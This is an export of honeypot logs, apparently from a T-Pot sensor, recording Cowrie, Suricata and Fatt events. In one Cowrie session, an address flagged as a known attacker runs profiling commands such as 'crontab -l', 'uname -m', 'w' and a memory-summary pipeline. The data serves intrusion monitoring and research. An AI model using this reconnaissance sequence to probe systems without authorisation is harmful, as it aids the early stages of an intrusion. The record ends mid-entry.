19711	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:06.420249+03	2021-09-20 14:15:01.455612+03	{"_id": "xgXcAnwBvYTbRNuE8vTf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "36.27.214.211", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5864017009735107, "duplicate": true, "timestamp": "2021-09-20T11:00:06.420249Z", "@timestamp": "2021-09-20T11:00:06.420Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19712	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:06.857752+03	2021-09-20 14:15:01.456613+03	{"_id": "xwXcAnwBvYTbRNuE8vTf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:06.857752Z", "@timestamp": "2021-09-20T11:00:06.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19713	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:06.858296+03	2021-09-20 14:15:01.457612+03	{"_id": "yAXcAnwBvYTbRNuE8vTf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:06.858296Z", "@timestamp": "2021-09-20T11:00:06.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19714	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:00:07.136223+03	2021-09-20 14:15:01.459614+03	{"_id": "yQXcAnwBvYTbRNuE9fT3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:04.513303+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 312}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "118.70.233.117", "flow_id": 976443260851479, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 57854, "timestamp": "2021-09-20T11:00:07.136223Z", "@timestamp": "2021-09-20T11:00:07.136Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19715	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:07.444618+03	2021-09-20 14:15:01.460614+03	{"_id": "ygXcAnwBvYTbRNuE9vTH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "36.27.214.211", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.586949348449707, "duplicate": true, "timestamp": "2021-09-20T11:00:07.444618Z", "@timestamp": "2021-09-20T11:00:07.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19716	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:07.886105+03	2021-09-20 14:15:01.461612+03	{"_id": "ywXcAnwBvYTbRNuE9vTH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:07.886105Z", "@timestamp": "2021-09-20T11:00:07.886Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19717	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:07.88665+03	2021-09-20 14:15:01.462612+03	{"_id": "zAXcAnwBvYTbRNuE9vTH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:07.886650Z", "@timestamp": "2021-09-20T11:00:07.886Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19718	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:08.472482+03	2021-09-20 14:15:01.463613+03	{"_id": "zgXcAnwBvYTbRNuE-vSw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "36.27.214.211", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5864596366882324, "duplicate": true, "timestamp": "2021-09-20T11:00:08.472482Z", "@timestamp": "2021-09-20T11:00:08.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19719	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:08.881122+03	2021-09-20 14:15:01.464612+03	{"_id": "zwXcAnwBvYTbRNuE-vSw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:08.881122Z", "@timestamp": "2021-09-20T11:00:08.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19720	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:08.88167+03	2021-09-20 14:15:01.466613+03	{"_id": "0AXcAnwBvYTbRNuE-vSw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:08.881670Z", "@timestamp": "2021-09-20T11:00:08.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19721	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:09.466914+03	2021-09-20 14:15:01.467613+03	{"_id": "0QXcAnwBvYTbRNuE_vSZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "36.27.214.211", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.585874080657959, "duplicate": true, "timestamp": "2021-09-20T11:00:09.466914Z", "@timestamp": "2021-09-20T11:00:09.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19722	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:09.903396+03	2021-09-20 14:15:01.468614+03	{"_id": "0wXcAnwBvYTbRNuE_vSZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:09.903396Z", "@timestamp": "2021-09-20T11:00:09.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19723	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:05.833927+03	2021-09-20 14:15:01.469612+03	{"_id": "wgXcAnwBvYTbRNuE7vT4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:05.833927Z", "@timestamp": "2021-09-20T11:00:05.833Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19724	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:05.834469+03	2021-09-20 14:15:01.470613+03	{"_id": "wwXcAnwBvYTbRNuE7vT4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:05.834469Z", "@timestamp": "2021-09-20T11:00:05.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19725	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:00:05.824097+03	2021-09-20 14:15:01.471613+03	{"_id": "xAXcAnwBvYTbRNuE8vQP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:04.513303+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 234}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "118.70.233.117", "flow_id": 976443260851479, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 57854, "timestamp": "2021-09-20T11:00:05.824097Z", "@timestamp": "2021-09-20T11:00:05.824Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19726	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:06.858796+03	2021-09-20 14:15:01.473614+03	{"_id": "xQXcAnwBvYTbRNuE8vTf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:06.858796Z", "@timestamp": "2021-09-20T11:00:06.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19727	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:09.902855+03	2021-09-20 14:15:01.474613+03	{"_id": "0gXcAnwBvYTbRNuE_vSZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:09.902855Z", "@timestamp": "2021-09-20T11:00:09.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19728	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:10.903597+03	2021-09-20 14:15:01.475613+03	{"_id": "1wXdAnwBvYTbRNuEAvSA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:10.903597Z", "@timestamp": "2021-09-20T11:00:10.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19729	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:11.884851+03	2021-09-20 14:15:01.476615+03	{"_id": "2QXdAnwBvYTbRNuEBvRo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:11.884851Z", "@timestamp": "2021-09-20T11:00:11.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19730	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:00:12.574729+03	2021-09-20 14:15:01.477616+03	{"_id": "3gXdAnwBvYTbRNuECfSD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 34729, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1111245104923913, "@version": "1", "in_iface": "enp5s0", "src_port": 46881, "dest_port": 53, "timestamp": "2021-09-20T11:00:12.574729Z", "@timestamp": "2021-09-20T11:00:12.574Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19731	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:00:12.277365+03	2021-09-20 14:15:01.478615+03	{"_id": "3wXdAnwBvYTbRNuECfSE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 10110, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2634, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2186140127606185, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 43469, "timestamp": "2021-09-20T11:00:12.277365Z", "@timestamp": "2021-09-20T11:00:12.277Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19732	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:00:12.326373+03	2021-09-20 14:15:01.480613+03	{"_id": "6gXdAnwBvYTbRNuECvS2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34640, "dest_port": 443, "timestamp": "2021-09-20T11:00:12.326373", "@timestamp": "2021-09-20T11:00:12.326Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19733	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:00:12.366499+03	2021-09-20 14:15:01.481613+03	{"_id": "6wXdAnwBvYTbRNuECvS2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34640, "timestamp": "2021-09-20T11:00:12.366499", "@timestamp": "2021-09-20T11:00:12.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19734	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:00:12.625845+03	2021-09-20 14:15:01.482614+03	{"_id": "7AXdAnwBvYTbRNuECvS2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": 